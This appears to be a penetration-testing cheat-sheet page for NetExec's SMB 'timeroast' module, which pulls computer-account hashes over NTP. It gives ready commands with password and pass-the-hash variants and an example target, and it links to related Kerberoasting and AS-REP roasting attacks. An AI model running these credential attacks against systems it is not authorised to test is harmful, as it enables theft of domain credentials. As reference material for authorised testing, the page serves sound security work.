NetExec SMB Timeroast

Exploit NTP to request hashes for computer accounts without a password (Timeroasting)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / Kerberoasting
Platform: linux
Requires: password
Protocols: SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' -M timeroast

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' -M timeroast

Examples

nxc smb '192.168.1.100' -u 'user' -p 'password' -M timeroast

Tags

nxc smb timeroast ntp computer-account hash

Hashcat NTLMv2 Cracking Crack NTLMv2 (NetNTLMv2) challenge-response hashes captured from Responder or relay…
Impacket AS-REP Roast AS-REP Roasting for accounts without Kerberos Pre-Authentication
Impacket Get TGT Get TGT to be used in Kerberos authentication
Impacket Kerberoast Extract service account hashes via Kerberoasting
Impacket KeyListAttack Abuse RODC (Read-Only DC) credential caching to retrieve hashes for accounts cached on…
Impacket Targeted Kerberoast Request a TGS only for a specific service account instead of every kerberoastable user…
NetExec LDAP AS-REP Roasting Request AS-REP responses for every account with DONT_REQ_PREAUTH set and write hashes to…
NetExec LDAP Kerberoasting Request TGS tickets for every account with a SPN and write hashes to a file ready for…